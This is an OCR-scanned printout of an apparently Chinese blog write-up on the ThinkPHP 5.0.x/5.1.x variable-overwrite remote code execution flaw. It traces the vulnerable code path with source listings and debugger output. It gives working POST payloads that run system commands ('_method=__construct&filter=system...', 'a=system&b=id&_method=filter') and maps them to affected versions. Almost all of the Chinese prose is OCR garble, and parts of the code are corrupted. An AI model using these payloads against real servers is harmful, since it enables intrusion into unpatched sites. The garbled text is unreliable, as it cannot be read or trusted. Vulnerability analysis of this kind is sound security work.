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ATEEERYEATAENRE—REABEXREXE, KIESERIL, BE B
HECHEANBA., URMESZHREXE, B2VURFLR—H7HE, BiED

B, NRBT B EECX NREER i, RN RERE, BIE
WIRBEE X ERREBAEBIXBYERZIRE, UNRIRALIE

B — MBI —R, WE 5.0.0 - 5.0.23 B9 POC # 2 1XHFH

http://127.0.0.1/thinkphp/public/index.php?s=captcha

POST:
_method=__construct&filter=system&method=get&server REQUEST_METHOD]
=1id
s=captcha T2 vendor FF7E topthink/think—captcha, X MNRABETE extend Ak
RHpFE, core IRAZANFAER, WRBIIRERLE, PIUSRXMIBR. (I
T—FF
%3 @@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_PoST[Config::get('var_method')])) {
* $this->method = strtoupper($_POST[Config::get( 'var_method')]);

$this->{$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
Y
} elseif (isset($_SERVER[ 'HTTP_X_HTTP_METHOD_OVERRIDE'])) {

+ + + + 4+

$this->method = strtoupper($_SERVER['HTTP_X HTTP_METHOD OVERRIDE']);
} else {

£ think\Request F/ANIN T 1%, RAYF $method ABIMAFSE, EIAZE
POST,

AIENBARIERNH T, BEM think\App FFi8, RXFEFL TR, EBA
BRI,

whiplash.cn/2019/03/18/Thinkphp-cover-variables/

1/17



2021/5/24

77
78

80
81
82
83
84
85
94

96
97
98
99
100
101
102
103
104
108
109
118
111
112
113
114
115
116 @
117

121

124
125
126 @
127
128
129
130
131
132
133
138
139 @ ]

Thinkphp 5.0.x/5.1.x Z5 87 3% RCE il 434 | whiplash

public static function run(Request $request = null)

{

$request = is_null{$request) ? Request::instance() : $request;

try

{

$config = self::initCommon();

/1 BRI EGIRRE
if (defined( name: 'BIND_MODULE')) {...} elseif ($config['auto_bind _module']) {...}

$request->filter($config[’'default_filter']);

// BRINEE

Lang: : range($config[ 'default_lang']);

// FBZEENG HNNEES
$config['lang_switch_on'] & Lang::detect();
$request->langset(Lang: :range());

// MBRAREER
Lang::load([...]);

// WU app dispatch

Hook::listen( tag: 'app_dispatch', &params: self::$dispatch);
// PERRAEEER

$dispatch = self::$dispatch;

/7 FRBHEEENET URL BN
if (empty($dispatch)) {

$dispatch = self::routeCheck($request, $config);
¥

// ERYEEEER
$request->dispatch($dispatch);

// EREBAOTIFERER
if (self::3$debug) {

Log::record( msg: '[ ROUTE ] ' . var_export($dispatch, return: true), type: 'info');
Log::record( msg: '[ HEADER ] ' . var_export($request->header(), return: true), type: "info');
Log::record( msg: '[ PARAM ] ' . var_export($request->param(), return: true), type: 'info');

}

// %R app begin
Hook::listen( tag: 'app_begin', &params: $dispatch);

// BREFHE
$request->cache(...);

$data = self::exec($dispatch, $config);

QEFTM SN ="7%, sJLEZIM routeCheck 5% sdispatch |
EN execl(), debug TEEHE. JtM excel) FHia,

445
446
447
448
452
459
468
469 @
470
471
472
473
474
475
476
477
478
479
480
481
482
483

protected static function exec($dispatch, $config)

{

switch ($dispatch['type']) {

}

case 'redirect':...
case 'module’:...
case 'controller':...
case 'method': // EHEAE
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch[ 'method'], $vars);
break;
case 'function': // HE&
sdata = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 3tff]
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException( message: 'dispatch type not support');

return $data;
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A Request #Y param 7575, &I Request:isntance() 77 A7 AFIMT Request
HKENBFIER, EEMWEHEI LI Request ERIFNEHIEE protected,
IR paraml(),

634
635
636
637 @
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661 @
662

public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
s$method = $this->method( method: true);
// BRIREEREER
switch ($method) {
case 'POST':
$vars = $this->post( name: false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$§vars = $this->put( name: false);
break;
default:
$vars = [];

}

// YENERSYUAURLMIFRNBEEH

$this->param = array_merge($this->param, $this->get( name: false), $vars, $this->route( name: false));
$this->mergeParam = true;

if (true === $name) {
/7 BRMESXHE LEERNRE
$file = $this->file();
sdata = is_array(sfile) ? array _merge($this->param, $file) : $this->param;
return $this->input($data, name:'', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);

SKEVZ L, A method(), IREIFTAR input 737%, BR#H method().,

518
519
520
521
522
523
524
525
526
527
528
529
530
il
532
533
534

public function hethod(smethod = false)

{
if (true === $method) {
// REREIERER
return $this->server( name: 'REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($ POST[Config::get( name: 'var method'}])) {
$this->method = strtoupper($ POST[Config::get( name: 'var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($ SERVER[ 'HTTP_X HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server( name: 'REQUEST_METHOD') ?: 'GET';
}
I}
return $this->method;
}

B ERERMMET, PIMRESHNRIXEET sthis->method FLEIIHELY,

> IRE
BT E

0]3%, K EHT s_posT(config::get('var method')] , BUBHIENIA

I Config::get(‘var_method’) 18 8_method, FREARILAIAR Request KAHHER

HiE,

B3] param() /&, BBIRE T4, B $this—>input() )%,
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994 public function input($data = [], $name = '', $default = null, $filter = '')
995 {
996 if (false === $name) {
997 // FRREEEE
998 return $data;
999 }
1000 $name = (string) $name;
1001 if ('*' 1= $name) {...}
1021
1022 // BT iEER
1023 $filter = $this->getFilter($filter, $default);
1024
1025 if (is_array($data)) {
1026 array_walk_recursive( &input: $data, [$this, 'filterValue'], $filter);
1027 reset( &array: $data);
1028 } else {
1029 sthis->filterValue( &value: $data, $name, $filter);
1030 }
1031
1032 if (isset(S$type) && $data !== S$default) {
1033 // BRI RS
1034 $this->typeCast( &: $data, Stype);
1035 }
1036 return S$data;
1037 }
4 = \ [NIFEN \
XEFRBTE, FHH—ETR, FEDR&sET 714, B sthis-

>filtervalue() o

1077
1078
1079
1080
1081
le82
1083
1084
1085
1086
1087
1088
1089
1090
1091
1892
1093
1094
1095
1896
1097
1098
1099
1100
1101
1102
1103
1104

XEEE T call_user func! fEN sfilter F svalue M NTE, FEIEEXMD

=5
EEIZZI_

private function filterValue(&$value, Skey, $filters)

{

s$default = array pop( &array: $filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// TR RS T AR
$value = call_user func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos(3filter, needle: '/')) {
// ENGEE
if (!preg _match($filter, $value)) {
// EEEARINEBIFAIAME
svalue = $default;
break;

}
} elseif (!empty(s$filter)) {
// FilterRBFHFEN, WERBfilter_ var#{TEiE
/f filterRIEEREN, ARfilter {dIEIEid
$value = filter_var($value, filter: is_int($filter) ? $filter : filter id($filter));

if (false === $value) {
svalue = $default;
break;

}

¢
}
return $this->filterExp( &: $value);

IS

@% input H,fﬁjuﬁfm sfilter %fﬁiﬂ $this->getFilter() %%?%E/\j, M $name
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1053 protected function getFilter($filter, $default)

1054 {

1055 if (is_null(sfilter)) {

1056 $filter = [];

1057 } else {

1058 $filter = $filter ?: $this->Ffilter;

1059 if (is_string($filter) && false === strpos($filter, neede: '/')) {
1060 $filter = explode( delimiter: *,', $filter);
1061 } else {

1062 $filter = (array) $filter;

1063 }

1064 }

1065

1066 sfilter[] = $defaulty

1067 return $filter;

1068 }

HEPRKT,

$this->method /75, BJCARINNIA FATDITHYIZEEE sthis->method N false BY
EX DB ERIT XL S

15,

MIZEN =8B,

sfilter NZTHTM $this->filter %%HWEO ?EEETJE—EEEE $name
EMIME R,
%7%2%9@%4\%&, ﬁﬂ%&ﬁﬁ?u $this->server , T\HT\%L'% BE—TF

Smethod Z:?U FALSE E/\]Hjﬂ%, H)\ﬁﬁﬁ’\]ﬁiﬁo

7 7TH(E, SRR

518 public function hethod(smethod = false)

519 {

520 if (true === $method) {

521! // IREURIREREE

522 return $this->server( name: 'REQUEST METHOD') ?: 'GET';

523 } elseif (!$this->method) {

524 if (isset(3%_POST[Config::get( name: 'var_method')])) {

525 $this->method = strtoupper($ POST[Config::get( name: 'var_method')]);
526 $this->{$this->method}($ POST);

527 } elseif (isset($ SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {

528 $this->method = strtoupper($ SERVER['HTTP_X_HTTP_METHOD_ OVERRIDE']});
529 } else {

530 $this->method = $this->server( name: 'REQUEST_METHOD') ?: 'GET';

531 }

532 }

533 return $this->method;

534 }

LDtE]\E $Sthis->server() o

857 public function server($name = '', $default = null, $filter = '')

858 {

859 if (empty($this->server)) {

860 $this->server = $_SERVER;

861 }

862 if (is_array($name)) {

863 returnl$this—>server = array_merge($this->server, S$name);

864 }

865 return sthi5~>inou"($this—>server‘] name: false === $name ? false :
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866 } - ' o

)iﬁLXQD% Sthis->server *D Sthis->filter E1§A ﬁlter\/alue() E}fZﬁﬁﬁEQ‘
HAVEEWEM P A TEENS,

PRAUNER GBS/ 6 — /R method() ERRMEES/L P XBES, £ XEH
method 75 ERIETERT P DURHIZERIIEE E N input #9755, BIER—T, ﬁfl\]ﬂu

VA $Request EMERREN, PANMNRE—1HE, BB IRISLOHINES,
4 SRR KFREE 1S 2

Request::__construct PJ DURE DREHRT 255N, App:routeCheck() 5%
RV E(F, EASEN think\App::run() ==> think\App::routeCheck() ==>
think\Route: :check() ==> Request::method() , (tUtLEN{EH POST M EBZT =,
{$ method= construct, filter=system, method=get |,
server[ REQUEST_METHODI=id, fEsiSHREMERME R ZHEZ LRTE,
S filterValue() HiE+H call_user_func() PRERHAT system(id) iIXME
9, S RCE,

185 protected function _ construct($options = [])

136 {

137 foreach ($options as $name => $item) {

138 if (property exists($this, $name)) {

139 $this->$name = $item;

140 }

141 }

142 if (is null($this->filter)) {

143 $this->filter = Config::get( name: 'default_filter');
144 }

145

146 // &% php://input

147 $this->input = file get contents( filename: 'php://input');
148 }

TEBELOMER T, BERAE—"OJ, FEF App:execl) FERHEAN
case ‘method ifzg,

case ‘method’%F2

¥ POST #3B&3%% / public/index.php?s=index 1IX1> URL &£IJCA/ AR
8, XEEN s=index HIBNEREA case ‘moudle’ 3248, 7l ZiEhiEA
App::moudle(),

452 case 'module’ // ﬁi}&/}:%]%%/};ﬁf’ﬁ

ar- i N
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453 $aata = SseLT::moaute\

454 $dispatch[ 'module'],

455 $config,

456 convert: isset($dispatch['convert']) ? $dispatch['convert’'] : null
457 );

458 break;

m7E moudle A/AFH filter BIHBE NN,

494 public static function module($result, $config, $convert = null)
495 {

496 if (is_string($result)) {

497 $result = explode( delimiter: /', $result);

498 }

499

500 $request = Request::instance();

501

502 if ($config['app_multi_module']) {...} else {

538 // B—EREE

539 $module = "'

540 $request->module($module);

541 }

542

543 // &EERINLIEALE

544 $request->filter($config['default_filter']);

545

546 // HEIERERE

547 App::$modulePath = APP_PATH . ($module ? $module . DS : '');

ZEENDHTNEREE 5.0.28 RN TXIMEE, HET— NUTRHRE
(5.0.18/5.0.17) HFEUZEE, FHERREEREEMRAEIRNIN T LHERZEINE
REFAFELERZEE, LB AL FIRT,

EIEA vendor HHXEMEANL case 'method' BFE, T — NRBHE captcha
EAETNER T BEHA, PROAME s=captcha,

FTF thinkphp MBS D EFRAEMN L1 T —BH 8B EMT ARFHNER,
composer B B SRIBsEMNFAH, thinkphp REIEA composer B9z [15ET
7 vendor KIMNEL, ERPIUENEERINEMUNIHMEDS L5 T captcha B9
R =E, HH think\Route::check 7575 A ABT RIS AT A& \$rules L=
B2 7FE 7 captcha BIEHIzs a2 =8,

RATERIMERE. ...

EXHR MR

B FIER 12 I2E R/ 12HI2E RIE 7S S BO=E18 8 e 2={g2..

BT EE @it ‘ShERihE (BRUASOVEEM) =IE [SMERitl, EEEE']
BHTHERISENAE | @R/ SIS/ HRE

BHEIENSE \EENSBFEE BESLE 9F \RBAGRZRRETLE
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BHIIAERH HERYEN (THBEEN

:E $rules = {array} [2]
:= captcha/[:id] = {array} [5]
rule = "captcha/[:id]"
route = "\think\captcha\CaptchaController@index"
var = {array} [1]
option = {array} [0]
pattern = {array} [0]

-

fiin (o0 oo

XN EBTE vendor/topthink/think—captcha/src/helper.php FRE X,

\think\Route: :get('captcha/[:id]",
"\\think\\captcha\\CaptchaController@index");

X MAZRZEIE R NEMR, BRESERAEE,

App::run()->send()

TEvar_method, 5 >
Route::check() Y t thod() 1$this = $this->method3t #@iSthis->filter this-

Asesiunt) s [ Leckt 5 e el >method this->server
&%
Sthis->filter

App:exec() Reguest::;param() $request->method() u $request: ) Srequest->input() —» Request:getFilter()

Request:filterValue()

sfilter = $this->filter

call_user_func(Sfilter, Svalue) |-+

*F debug

CIEZI &AM App:run() REF, BIABRZINNREFFZ debug AIEE AR
\$request—>param, MMMEBEEMARE, WRFE debug AIIE, Toib s=xxx, #B
A A B &R RE
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=+
55%2::"'-T:
1. RSB TR debug WIER T, MREREAEEZE vendor FRIFEIFE

captcha B4

2. ARF B debug HITE, LERIEPTAEEEERFTHA,
A5 —1 POC
BERAY URL A%, POST HUEE
_method=__construct&filter=system&method=get&get[]=id

X POC BE 7T \$this—>get B, 7£ \$this—>param() 7 EFH#H N \$this—
>get() H7AR \$this—>route() 7%, FREIHEEN get B4, THEZ \Sthis-

N ] . —
>param /&' e POC 1Y id, WETR.

634 public function param($name = '', $default = null, $filter = '') $name: "" $default: null $filter: ""

635

636 if (empty($this->mergeParam)) { mergeParam: false

637 & $method = $this->method( method: true); $method: "GET"

638 // BERREREE

639 switch ($method) { $method: "GET"

640 case 'POST':

641 $vars = $this->post( name: false); $vars: [0]

642 break;

643 case 'PUT':

644 case 'DELETE':

645 case 'PATCH':

646 $vars = $this->put( name: false);

647 break;

648 default:

649 $vars = [];

650 }

651 // HEHERSHFURL I RIS EEH

652 $this->param = merge($this->param, $this->get(EElfalse), $vars, $this->route( RIS false));

653 $this->mergeParam = true;

ARECREIRRRIFA \$this—>input() 757k, \$data BIEA \$this—>param,
i POC #1189 id,

£ \$this—>input() 77757 \$this—>getFilter() 75751RE] \$this—>filter B4, 14
T2 system, T \$data 2H, FRLUHE array_walk_recursive() 535,

994 public function input(g$data = [], $name = '*', $default = null, $filter = ')
995 {

996 if (false === $name) {...}

1000 $name = (string) $name;

1001 if ('' !'= $name) {...}

1021

1022 // FEATEIRER

1023 & $filter = $this->getFilter($filter, $default);

1024

1025 if (is array($data)) {

1026 array walk_recursive( &input: $data, [$this, 'filterValue'], $filter);
1027 reset( &array: $data);

1028 } else {

1029 © $this->filterValue( &value: $data, $name, $filter);

1030 }
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47 \$this—>filterValuel() 557%, Mim RCE,

1077 private function filterValue(&$value, $key, $filters) $value: "id" $key: 0 $filters: {"system"}[1]
1078 {

1079 $default = array pop( &array: $filters); $default: null

1080 foreach ($filters as $filter) { g$filters: {"system"}[1] $filter: "system"

1081 if (is_callable($filter)) {

1082 // R REEE T R

1083 & --- $value = call user func($filter, $value); sfilter: "system" S$value: "id"
1084 } elseif (is_scalar($value)) {

1085 if (false !== strpos(¢$filter, needle:'/')) {

1086 // IENENE

1087 if (!preg match($filter, $value)) {

1088 // EEEARRINEERIAME

1089 $value = $default;

1090 break;

1091 }

1092 } elseif (!empty($filter)) {

1093 // filterREAEFER, WMERfilter var#Tdig

1094 // filterRIFRAER, AAfilter idEEERId

1095 $value = filter_var($value, filter: is_int($filter) ? $filter : filter_id($filter));
1096 if (false === $value) {

1097 $value = $default;

1098 break;

1099 }

1100 }

5ix WEEBRRIKAGFE, BEEREN,

81T composer FREX—" 5.1.17 ARZHY thinkphp,

composer create-project topthink/think=5.1.17 tp5117 o
BEXHELERN framework Ea#ThRAR, AJLUBITEX require Y
framework RAELZIRIEEMRA, eI DURID captcha fftF, WEATTR.

php BRGERM/EERE composer update Fif T .
AW T POC:

POST /public/index.php

a=system@qb=1d&_method=filter

51 HIIEREE — PHERANMAE), XEAHFER, EEMRE
think\App::Run() 757EREEE D & routeCheck() 7375,
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375 public function run()

376 {

377 try {

378 /f attRIA

379 sthis->initialize();

380

381 // HWrapp_init

382 $this->hook->1isten( 'app_init');

383

384 if ($this->bindModule) {...} elseif ($this->config( name: 'app.auto_bind_module')) {...}
394

395 // WWapp_dispatch

396 $this->hook->11isten( 'app_dispatch');

397

398 $dispatch = $this->dispatch;

399

400 if (empty($dispatch)) {

401 // BEE

402 @ $dispatch = $this->routeCheck()->init();

403 E

404

405 g /7 EEuEEbEe

406 $this->request->dispatch($dispatch);

407

408 // CRBAFERER

409 if ($this->appDebug) {

410 $this->log( msg: '[ ROUTE ] ' . var_export($this->request->routeInfo(), return: true));
411 $this->log( msg: '[ HEADER ] ' . var_export($this->request->header(), return: true));
412 $this->log( msg: '[ PARAM ] ' . var_export($this->request->param(), return: true));
413 }

539 public function routeCheck()

540 {

541 // R BEE

542 if (!$this->appDebug && $this->config->get('route_check_cache')) {...}
550

551 // FRENRABERER

552 $path = $this->request-=>path(); s$path: "

553

554 // BB

555 $files = scandir($this->routePath); s$files: {".", "..", "route.php"}[3]
556 foreach ($files as $file) {...}

566

567 if ($this->config( name: 'route.route_annotation')) {...}

579

580 // BEERHBEDR

581 smust = !is _null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must');
582

583 // BB BE—TDispatchi &R

584 @& $dispatch = $this->route->check($path, $must);

585

586 if (lempty($routeKey)) {

587 try {

588 $this->cache

589 ->connect(%option)

590 ->tag( 'route_cache')

591 ->set($routeKey, Sdispatch);

592 } catch (\Exception %e) {

593 // FEASHNNRETEH

594 }

595 }

596

597 return $dispatch;

598 }

AR check B35, B—ZA%IR check B7AER, —&E1EBE
think\route\RuleGroup # check(), TERE&ZIT,
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RuleGroup.php:138, think|route| RuleGroup->check()

Domain.php:78, think|route|Domain->check()
Route.php:844, think|Route->check()
App.php:584, think|App-=routeCheck()
App.php:399, think|App-=run()
index.php:23, {main}{)

XD EFRIEA Request:method() 5%, TEBEMNIRBALE =,

769
770
771 &
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787

public function method($origin = false) Sorigin: false

{
if ($origin) { $origin: false
// FEUREIERER
return $this->isCli(}) ? 'GET' : $this->server( name: 'REQUEST_METHOD');
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($ POST[$this->config['var_method']]); config: [61]
smethod = strtolower($this->method); method: "FILTER" $method: "filter"
[ | | |  $this->{$method} = §_
} elseif ($this->server( name: 'HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this-=server( name: 'HTTP_X_HTTP_METHOD_OVERRIDE')});
} else {
$this->method = $this->isCli() ? 'GET' : $this->server( name: 'REQUEST_METHOD');
Iy
}
return $this->method;
}

PIMBEIXEERTEEE, MAEER 5.0x —HFaiSREERE, XBEBE

\$this—>filter Z&H \$_POST. &[] \$this—>method B

115 ®/ef
| 116

117

121

122

123

126

127

128

131

134

135

136

137

138

139 @

public function check($request, $url, $completeMatch = false) S$request: {config => [61], method => "FILTER",

{

if ($dispatch = $this->checkCrossDomain($request)) {...}

// KESBEHRM
if (!$this->checkOption($this->option, $request) || !$this->checkUrl(surl)) {...}

// BYTOEEE
if ($this instanceof Resource) {...} elseif ($this->rule) {
if ($this->rule instanceof Response) {...}

$this->parseGroupRule($this->rule); rule: null

}

// FERHEIEREAN
$method = strtolower($request->method()); $request: {config => [61], method => "FILTER", domain => null

5 ;
140 @ - ¢rules = $this->getMethodRules($method);

141

P getMethodRules 753%,

194
195
196
197

protected function getMethodRules($methaod) Smethod: "filter"

return array merge($this->rules[$method], $this->rules['*'])

EXNEREHA, AFYUIINZR rules BIHEREE filter 5%, FILLSIR
. PTUAEELL index.php FPON error reporting(0); o X BRSNS
MEXE
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11
12
13
14
15
16
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18
19
20
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22
23
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<?php
A

[/ [ MABAAOXE ]
namespace think;

// INEERSF
require _ DIR . '/../thinkphp/base.php';

error_reporting( level: @);
// ZREBRERBTAEIEERequest RN ConfigiiR

// BATRIRH IR
Container::get( abstract: 'app')->run()->send();

BHRDANTEEBESAR, & FRENSNE, MEREEREZ, ~TE—FTHIR
#, HiEMSE think\Request::post();
XN AAEE think\Request:param() A /AR EA, mXEEHZRREIFIN POST

A,

973
974
975
976
977
978
979
980

887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915

public function post($name = '', $default = null, $filter = '')
{
if (empty($this->post)) {
$this->post = !empty($_POST) ? $_POST : $this->getIsonInputData($this->input);

}
return $this->input($this->post, $name, $default, $filter);
}
public function param($name = '', $default = null, $filter = '') S$name: "" gdefault: null $filter: ""
{

if (!$this->mergeParam) {
$method = $this->method( origin: true); $method: "POST"

// BEmhiRENERER
switch ($method) { $method: "POST"
case 'POST':
$vars = $this->pogt( name: false); $vars: {a => "system", b => "id", _method => "filter"}[3]
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put( name: false);
break;
default:
$vars = [];

HELES URL 3thi]

$this->mergeParam = true; mergeParam: true

}

if (true === $name) {
// FREEXMH LEEENEEA
sfile = $this->file();
s$data = is_array($file) ? array _merge($this->param, $file) : $this->param;

whiplash.cn/2019/03/18/Thinkphp-cover-variables/

$this->param = array merge($this->param, $this->get( name: false), $vars, $this->route( name:false));l $vars: -
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916

917 return $this->input($data, name: '', $default, $filter);

918 }

919

920 return sthi.s~>i.nputname, $default, $filter); $default: null ¢$filter: "" $name: "" param: [3]

\$this—>param BEANEHINEFE], AEEN input KEL, LR param B4
=y

v 2 param = {array} [3]
a = "system"
b = "jd"
_method = “filter"

]

£ input FYER getFilter HiRREINIA BHZNTE, I \$data F1 \$flter 18T

array_walk_recursive £\ filterValue XK#X,

1271 public function input($data = [], $name = '', $default = null, $filter = '') $data: {a => "system", b =
1272

1273 if (false === %$name) {...}

1277

1278 $name = (string) $name;

1279 if ('" != $name) {...}

1295

1296 BRATI R 2R

1297 Isfilter = $this->getFilter($filter, $default); |$default: null $filter: {a => "system", b => "id",
1298

1299 - if (is_array($data)) { $data: {a => "system", b => "id", method => "filter"}[3]

1300 array walk recursive( &input: $data, [$this, 'filtervalue'], $filter);
1301 reset( &array: $data);

1302 } else {

1303 $this->filtervValue( &value: $data, $name, $filter);
1304 }

1305

1306 if (isset($type) && $data !== sdefault) {

1307 /7 EHIRBIRER

1308 $this->typeCast( &: $data, Stype);

1309 ¥

1310

izl return $data;

1312 }

XEBEMMER filterValue 7575, il EAFAY call_user_func(), RCE!

1375 private function filterValue(&$value, $key, $filters) $value: "id" $key: "b" $filters: {a => "system", b => "id", .
1376 {

1377 - $default = arra 3 $filters: {a => "system", b => "id", _me = " er", @ => null}| I
1378

1379 foreach ($filters as $filter) {

1380 if (is_callable(sfilter)) {

1381 // BRREEE S EEE

1382 $value = call_user func($filter, $value);

1383 } elseif (is_scalar(S$value)) {

1384 if (false !== strpos($filter, needle: '/')) {

1385 // EWEE

1386 if (lpreg match($filter, $value)) {

1387 // EEFEINEERNAME

1388 svalue = sdefault;

1389 break;

1390 K

KT REDEILEMERT .
iz EIEFm B 44 blog
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Fisvar_method, 1§

ESthis->method/y

filter

HBSFFHE, BEHERE

¥Sﬁ lte

T

HEEFN T —F, HEIRTMERE 5.1.17 1 5119,
51.20 YA, REGTIRIE, PILAN T ERFTLL )R,

Apprun() —={ App: heck() Route: check() quest->method()
Middleware::

g " +
dispaten [ Srequestparam() |—| method() server()

t->input()

Request:getFilter()

¥

array_walk_recursive()

!

RequestfilterValue()

|
Sfilter = Sthis->filter
Y

$value=SPOST

call_user_func(Sfilter, $value)

MRV ERY 5.1.06 0

LEHIT fuzz,

FAWTHIA, NEIET thinkphp 5.1.x BIEEBIRA,

for ((i=0; i<36; i++)); do

composer create-project topthink/think=5.1.%${i} tp51${i};

if “cd tp51${i}";

then

cd tp51%{it;
sed -i'.bak' "s/5.1.\*/5.1.${i}/g" composer.json;

composer update;
cd ..

fi
done

b

SAEME A python #EERIN error reporting(0); FHfTHEEIEK (python LIEE

RARRT, FIART). ERAT,

BIEBIEEENE S

5.1.0
5.1.14
5.1.16

51.17
whiplash.cn/2019/03/18/Thinkphp-cover-variables/
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O G, T, IV, B, BV I
e e e
)

N

[ I, T, IV, BN, T
[ S S S SN
)
©

NIFFIAIARN 5.1.20 REEA, SR fuzz AR X TIRAZ AT, WY —
TR, &7 HAFBEFE—7%M, AFiE vendor B9 topthink FfR
7 think—installer NEEFAEAMAMEE (X DERA—TEER, BlR T 2%
think—captcha @& think—oracle, &REREEEM),

BT X MNBELEBISA), BURENFIRF G 5.1.0-5.1.14 RERYLTARAAEER
A, FBRLREANBHTON.

BE—T, blx E ERRARFRNFBEZ L DFME:
1. FFAEIEALERT error_reporting(0);
2. vendor FRANBEFFAEEMAIIKHN, FRT think—installer
3. HBEMA LIRRRAH

BAARCEIEEE fuzz 7 5.1.x BYRTFIBMA, AEAN—T 5.0.x B98]F] AR
K7

I BB fuzz, FRINERAT (L THERIVBIRYAAIT debug)

1. 7% BXA captcha AR AR HRIARAS (B2 moudle 1 Z3EHSH 11T
B NI AIRIE):

ZE&: get TEM poc
5.0.2-5.0.12

1. M)A captcha AJ DA B AIRRA
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server[REQUEST_METHOD] #J poc

i
it

5.0.22/23
& get B9 poc
5.0.2-5.0.23

thinkphp FRASLEIRZ, tERZY, FENRAZEEEAAENHE, FEFA fuz
FIRRMLE poc 2RIFBHY, HILZAREIEAY, WM ERNSEBIERE—L, FEM—
R,

TEEBEHENERZEESEIN, NEUREN —TEFRREEAE, sJEY
SESFNEN B, B XD PIENES R LU TS T ERNER

X
=
4

whiplash.cn/2019/03/18/Thinkphp-cover-variables/

17/17



